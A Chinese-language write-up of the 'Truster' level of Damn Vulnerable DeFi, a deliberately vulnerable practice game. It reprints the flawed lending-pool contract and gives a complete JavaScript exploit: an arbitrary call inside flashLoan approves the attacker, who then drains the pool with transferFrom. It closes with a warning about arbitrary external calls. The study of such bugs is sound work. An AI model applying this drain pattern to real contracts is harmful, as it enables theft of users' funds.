Damn Vulnerable DeFi 第三关题解

Damn Vulnerable DeFi是一个用于学习DeFi漏洞的闯关游戏,比起CTF来说,Damn Vulnerable DeFi更接近真实漏洞场景。

题目地址:

https://www.damnvulnerabledefi.xyz/index.html

使用方法:

克隆仓库并切换到v2.1.0分支

使用yarn安装Node依赖

test文件夹中存放着对应每个题目的*.challenge.js文件来模拟合约的部署和攻击流程,我们需要补全相关代码来完成指定的攻击以跑通该单元测试(使用yarn run challenge-name来验证挑战是否完成)

第一关、第二关相对简单,略过。第三关相对有趣一点。

第三关Truster是一个借贷池子,该池子的floashloan函数可提供闪电贷功能。与常见的闪电贷不同,该函数并非借出贷款给msg.sender,而是可指定borrower。第二点不同就是,可以通过target.functionCall(data);使得该池子对任意合约发起调用。

题目目标:池子内存有100个代币,攻击者持有0个代币,攻击者需要将池子内的代币转移给自己。

题目源码:

contract TrusterLenderPool is ReentrancyGuard {

using Address for address;

IERC20 public immutable damnValuableToken;

constructor (address tokenAddress) {
    damnValuableToken = IERC20(tokenAddress);
}

function flashLoan(
    uint256 borrowAmount,
    address borrower,
    address target,
    bytes calldata data

) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

    damnValuableToken.transfer(borrower, borrowAmount);
    target.functionCall(data);

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

}

思考:

想要抽干池子必然通过flashloan实现,那么必然要求该函数内的所有require通过,也就是说调用target.functionCall(data);不能使得池子的代币减少。

这里需要介绍一下ERC20。用户可通过常见的transfer进行自身代币的发送。但是有的情况下,比如当需要交易所完成代币的兑换的时候,这时候就需要第三方代替用户进行转移了,需要首先通过approve获取到用户一定数量代币的转移权限,然后调用transferFrom实现转移。

即下面两个方法:

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) function approve(address _spender, uint256 _value) public returns (bool success) 所以,这里的思路就比较清晰了,在target.functionCall(data); 将池子的权限授权给攻击者,然后攻击者调用transferFrom实现代币转移。

答案如下:

js:


it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE  */
    // 构造approve(attacker, amount)的data
    const data = this.token.interface.encodeFunctionData("approve", [ attacker.address, TOKENS_IN_POOL ]);
    await this.pool.flashLoan(0, attacker.address, this.token.address, data);
    await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);

});

警示:target.functionCall(data);这样的任意外部调用非常危险。